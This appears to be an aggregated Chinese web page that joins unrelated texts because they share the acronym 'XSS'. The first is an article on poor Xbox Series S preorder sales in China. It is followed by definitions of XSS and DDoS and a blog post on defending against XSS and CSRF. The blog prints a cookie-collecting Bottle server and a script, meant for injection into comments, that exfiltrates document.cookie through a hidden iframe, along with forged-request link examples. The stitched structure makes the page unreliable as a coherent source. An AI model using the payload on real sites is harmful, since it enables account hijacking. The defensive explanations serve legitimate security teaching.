本文目录一览:
PS5笑了!国行XSS根本卖不动:这些原因是关键
点击右上方“关注”,第一时间获取 科技 资讯、技能攻略、产品体验,私信我回复“01”,送你一份玩机技能大礼包。
---------------------------------
5月19日凌晨0点,国行Xbox Series X/S正式开启了预售,和国行PS5一样,国行XSX预售一开启就被抢购一空,3899元的XSX目前多地都显示无货。
但相比国行XSX空前热烈的抢购氛围,国行XSS的购买情况就显得有些许凄凉,2399的定价并不能吸引到更多玩家购买,目前显示的已预订量仅仅只有400多件,和国行XSX的3606件预订量相比有着天壤之别。
国行PS5也曾遇到过同样的情况,光驱版与无光驱版的预订量差距明显,原因相信各位玩家都清楚,毕竟对于国行版玩家来说光驱是他们的最后一道保险。但这一次国行XSS的情况也同样如此吗?除了缺少光驱,国行XSS又有着哪些让玩家望而却步的理由呢?是因为微软的独占 游戏 内容太少,还是因为 游戏 主机的性能不足呢?
为什么国行XSS的预订量会如此惨淡,首先最明显的原因必然和 游戏 主机机能有关。 相比国行XSX,XSS不仅缺失了至关重要的光驱,还因为轻量化而削弱了主机的几项机能。
其实就国内的环境而言, 游戏 主机的还没真正进入到千家万户,不少民众仍不能理解 游戏 主机的价值,就更别提为此而进行高消费的行为了。 除了真正的核心玩家,很少人会专门购置各类品牌的主机来进行 游戏 。
游戏 主机的最大意义就在于能够给玩家一个纯粹的 游戏 空间,相比于PC功能的繁杂, 游戏 主机功能的纯粹让玩家能够更好更专注地去享受 游戏 ,因此 游戏 主机于玩家而言就是高性能、高适配的 游戏 体验电子产品。
所以玩家就需要相应地配置高机能主机来游玩 游戏 ,要买当然就买最好的,在数码产品迭代迅速的当下,买一款机能相对较次的电子产品可不是什么明智之选。 在无光驱和机能较弱的情况下,XSS就成了姥姥不爱舅舅不亲的存在,而在国行版的各种限制下,这台主机为数不多的优点也被限制得死死的。
国行XSS的存在有多尴尬呢?对于轻度 游戏 玩家来说,微软系主机 游戏 较少缺少吸引力;对于核心玩家来说,国行XSS的性能稍弱又缺少光驱来防备锁区的情况;对于 游戏 圈外的人来说,XSS缺少购买的噱头以及入坑的相应卖点,那么玩家到底还有什么理由购买这台主机? 因为喜欢这一饼的造型吗?
虽然国行XSS有着轻便的外形和较低的价格,但相比Switch这类掌机而言,也缺少足够的竞争力,无论是便携性还是性价比,XSS都很难与任天堂精心设计的掌机相比。更何况,目前微软还缺少具备竞争力的第一方次时代 游戏 ,那他们拿什么和任天堂索尼做对比呢?
其实XSS和之前的PS4 slim的情况很相似,较低的价格和轻便的机身设计都是为了吸引圈外玩家而特意设定的,但不同的是PS4 slim是在PS4已经处于稳定期时推出的产品,不仅有一定的群众基础担任主机推广的自来水,还有一定时间的市场口碑沉淀来保证主机的质量。那么作为Xbox次时代主机入门版主机,XSS又用了多少时间去沉淀呢?
Xbox是伴随着争议诞生的一代主机,它出世以来就要面对 游戏 主机界的两大巨头索尼的PlayStation2和任天堂的NGC的夹击, 但也正是因为微软的财大气粗,才让这么一款初出茅庐的 游戏 主机在两大巨头面包夹之势下,硬生生杀出了个三足鼎立的局面。
但相比其他两家公司,微软在 游戏 领域的底蕴依旧相对欠缺,所以Xbox系列主机无论是第一方 游戏 研发还是主机性能的针对性提升都没能超越PS系列主机,次时代主机战争无疑是PS5拔得头筹。
并不是说XSX就比不上PS5,反而在硬件配置和主机性能的表现上,XSX是略胜于PS5的,毕竟在微软在硬件软件领域上的成就绝对不是索尼能够比拟的。 但索尼胜在对 游戏 的理解更深,也或者说是对 游戏 主机的理解更深,这一点的优势让索尼收获了更多的核心玩家支持,而这部分核心玩家就成为了索尼的核心用户群体。
懂 游戏 的 游戏 主机厂商可并不多,像我们之前提及的各类奇葩 游戏 主机就是最好的反面教材,他们对于 游戏 的理解不深,所以 游戏 主机的设计也有着诸多矛盾,表面上功能满满实际体验却是难以贴合玩家 游戏 习惯。而这也就是 游戏 主机御三家能占领 游戏 市场主要份额的原因,和这些半路出家的 游戏 主机开发商不同,他们早已在这条路上试错了无数遍。
资历最小的Xbox系列自然没办法和索尼任天堂比较核心用户群体的数量,毕竟这两家的粉丝都受各自产品影响颇深,在时间的沉淀下才逐渐培养出一众喜好自家产品的核心用户,用户的反馈和产品的影响才 游戏 主机得以不断进步。 这些核心用户的养成需要时间,微软Xbox系列主机欠缺的就是时间的沉淀。
这样的核心用户群体,对于产品的信赖基本和信仰无疑,所以才会产生那么多“索尼大法好”“任天堂就是世界的主宰”的信仰型玩家,微软距离这一步还有一些距离。当然这里特指 游戏 领域以及国内市场,微软的 游戏 主机在国内影响力始终有限,就如同小雷之前评测的电玩店配置所暗示的情况一样, 为什么没有Xbox?因为受众实在太少了。
国行版主机最大的问题始终在于锁区这一点上, 游戏 主机这样的电子产品一旦封锁了网络,就近乎报废的状态了,这也是很多人称国行 游戏 主机玩家为勇士的原因。
既然没有办法保证主机变废,那么又有哪个玩家愿意去冒风险去购买这么一台主机呢?这就让光驱有了必要性,毕竟禁得了网络,可禁不了 游戏 的实体碟。这也是光驱版版的价格和无光驱版相差甚远的原因,因为这是国行版主机的最后一道防线, 一旦 游戏 主机无法玩 游戏 ,那么 游戏 主机的价值就基本为零了。
所以才会产生国行版的XSS和PS5无光驱版久久未能售罄的情况,玩家没理由花几千块进行豪赌,而XSS的机能也不值得玩家花大价钱去赌这么一遭, 入门版主机本就是以体验为主,如果连体验的门都没能打开,就别说降低体验门槛这种不切实际的话了。
目前市面上所有国行版 游戏 主机的普遍问题依然是缺少可游玩的 游戏 , 游戏 荒的问题一部分是源自于 游戏 锁区,另一部分则是源于国内审核的严格,让大部分 游戏 引进需要花费过长的时间。 例如国行版Switch,如今的商店页面也只有18款可下载 游戏 。
当然,部分国行版主机还是有不错的服务,例如国行版的《舞力全开》就针对国内市场制作了好几首国语歌的选项,一些 游戏 的本地化翻译也会更加完善。但玩家依然是需要一台性能优异,拥有丰富多样 游戏 阵容的主机,国行版XSS目前还很难达成这几个目标,所以国行版XSS想要翻盘,还得看微软的后续跟进操作。
但已经购买了国行版XSS玩家们也不必担心,万物皆有可能,毕竟连新垣结衣都结婚了,还有什么事情是不可能的呢?
----------------------------------
作者:雷 科技 团队,致力于聚焦 科技 与生活,关注并私信回复“01”,送你一份玩机技能大礼包。
XSS攻击和DDOS攻击的区别
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
跨站脚本攻击是什么意思?
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。